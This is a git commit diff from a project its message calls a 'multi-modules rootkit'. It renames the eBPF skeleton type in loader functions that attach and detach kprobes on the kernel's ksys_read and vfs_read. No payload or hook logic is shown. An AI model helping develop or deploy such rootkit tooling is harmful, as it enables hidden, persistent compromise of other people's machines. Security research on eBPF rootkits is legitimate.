Updated file names and directory structure to the new multi-modules rootkit

This commit is contained in:
h3xduck
2022-01-16 06:56:54 -05:00
parent fc0d30f06f
commit 3832d99af1
14 changed files with 603 additions and 609 deletions

View File

@@ -5,24 +5,24 @@
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include "common.h"
#include "xdp_filter.skel.h"
#include "kit.skel.h"
//Connections
int attach_kprobe_ksys_read(struct xdp_filter_bpf *skel){
int attach_kprobe_ksys_read(struct kit_bpf *skel){
skel->links.kprobe_ksys_read = bpf_program__attach(skel->progs.kprobe_ksys_read);
return libbpf_get_error(skel->links.kprobe_ksys_read);
}
int attach_kretprobe_vfs_read(struct xdp_filter_bpf *skel){
int attach_kretprobe_vfs_read(struct kit_bpf *skel){
skel->links.kretprobe_vfs_read = bpf_program__attach(skel->progs.kretprobe_vfs_read);
return libbpf_get_error(skel->links.kretprobe_vfs_read);
}
int attach_fs_all(struct xdp_filter_bpf *skel){
int attach_fs_all(struct kit_bpf *skel){
return attach_kprobe_ksys_read(skel) || attach_kretprobe_vfs_read(skel);
}
int detach_kprobe_ksys_read(struct xdp_filter_bpf *skel){
int detach_kprobe_ksys_read(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.kprobe_ksys_read);
if(err<0){
fprintf(stderr, "Failed to detach fs link\n");
@@ -30,7 +30,7 @@ int detach_kprobe_ksys_read(struct xdp_filter_bpf *skel){
}
return 0;
}
int detach_kretprobe_vfs_read(struct xdp_filter_bpf *skel){
int detach_kretprobe_vfs_read(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.kretprobe_vfs_read);
if(err<0){
fprintf(stderr, "Failed to detach fs link\n");
@@ -39,7 +39,7 @@ int detach_kretprobe_vfs_read(struct xdp_filter_bpf *skel){
return 0;
}
int detach_fs_all(struct xdp_filter_bpf *skel){
int detach_fs_all(struct kit_bpf *skel){
return detach_kprobe_ksys_read(skel) || detach_kretprobe_vfs_read(skel);
}